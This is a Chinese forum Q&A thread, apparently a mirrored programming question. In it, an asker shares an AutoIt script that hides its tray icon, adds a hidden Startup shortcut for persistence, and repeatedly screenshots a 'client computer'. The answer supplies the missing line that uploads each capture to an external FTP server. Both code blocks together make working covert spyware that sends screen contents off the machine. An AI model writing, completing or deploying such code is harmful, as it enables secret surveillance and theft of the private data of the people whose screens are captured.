使用AutoIT静默捕获屏幕

时间:2016-05-16 04:56:39

标签: autoit

我已经学习了AutoIT来写东西可以捕获屏幕并发送到我的FTP服务器。但每次运行时,它都会捕获并立即在客户端计算机上显示图片。那么,有人可以帮我解决这个错误吗?非常感谢!

#include <ScreenCapture.au3>
#include <Inet.au3>
#include <MsgBoxConstants.au3>
#include <GUIConstantsEx.au3>
#include <ButtonConstants.au3>
#include <File.au3>
#include <Misc.au3>
#include <FTPEx.au3>
#include <ScreenCapture.au3>

Global $Save, $Num, $Server, $Username, $Password

$Server = "ftp.drivehq.com"
$Username = "my_account"
$Password = "my_password"

Capturing()
Func Capturing()
    AutoItSetOption("TrayIconHide", 1)

    $Shortcut = FileCreateShortcut(@AutoItExe, @StartupDir & "\" & @ScriptName & ".lnk")
    FileSetAttrib($Shortcut, "+H")
    $Save = @MyDocumentsDir & "/" & "Log" & $Num & ".jpg"
    _FileCreate($Save)
    $i = 0
While $i <= 10

    Local $hBmp

    ; Capture full screen
    $hBmp = _ScreenCapture_Capture("")

    ; Save bitmap to file
    _ScreenCapture_SaveImage(@MyDocumentsDir & "\GDIPlus_Image.jpg", $hBmp)

    ShellExecute(@MyDocumentsDir & "\GDIPlus_Image.jpg")
    Sleep(5000)

WEnd
EndFunc

Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile)

$oFTP = _FTP_Open("myftp")
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)

_FTP_FilePut($oConnect, $LocFile, $RemFile)

_FTP_Close($oFTP)

EndFunc   ;==>_FTP_FileSend

Func _FTP_CreateDir($DirName)

$oFTP = _FTP_Open("myftp")
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)

_FTP_DirCreate($oConnect, $DirName)

_FTP_Close($oFTP)

EndFunc   ;==>_FTP_CreateDir

1 个答案:

答案 0 :(得分:0)

实际上你并没有告诉它将文件上传到你的FTP服务器,只是为了执行它。

#include <ScreenCapture.au3>
#include <Inet.au3>
#include <MsgBoxConstants.au3>
#include <GUIConstantsEx.au3>
#include <ButtonConstants.au3>
#include <File.au3>
#include <Misc.au3>
#include <FTPEx.au3>
#include <ScreenCapture.au3>

Global $Save, $Num, $Server, $Username, $Password

$Server = "ftp.drivehq.com"
$Username = "my_account"
$Password = "my_password"

Capturing()
Func Capturing()
    AutoItSetOption("TrayIconHide", 1)

    $Shortcut = FileCreateShortcut(@AutoItExe, @StartupDir & "\" & @ScriptName & ".lnk")
    FileSetAttrib($Shortcut, "+H")
    $Save = @MyDocumentsDir & "/" & "Log" & $Num & ".jpg"
    _FileCreate($Save)
    $i = 0
While $i <= 10

    Local $hBmp

    ; Capture full screen
    $hBmp = _ScreenCapture_Capture("")

    ; Save bitmap to file
    _ScreenCapture_SaveImage(@MyDocumentsDir & "\GDIPlus_Image.jpg", $hBmp)

    ShellExecute(@MyDocumentsDir & "\GDIPlus_Image.jpg") ; execute/show the image
    Sleep(5000)

    ; where' s the upload code?
    ; it could be:
    _FTP_FileSend($Server, $Username, $Password, @MyDocumentsDir & " \GDIPlus_Image.jpg" , "test.jpg")

WEnd
EndFunc

Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile)

$oFTP = _FTP_Open("myftp")
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)

_FTP_FilePut($oConnect, $LocFile, $RemFile)

_FTP_Close($oFTP)

EndFunc   ;==>_FTP_FileSend

Func _FTP_CreateDir($DirName)

$oFTP = _FTP_Open("myftp")
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)

_FTP_DirCreate($oConnect, $DirName)

_FTP_Close($oFTP)

EndFunc   ;==>_FTP_CreateDir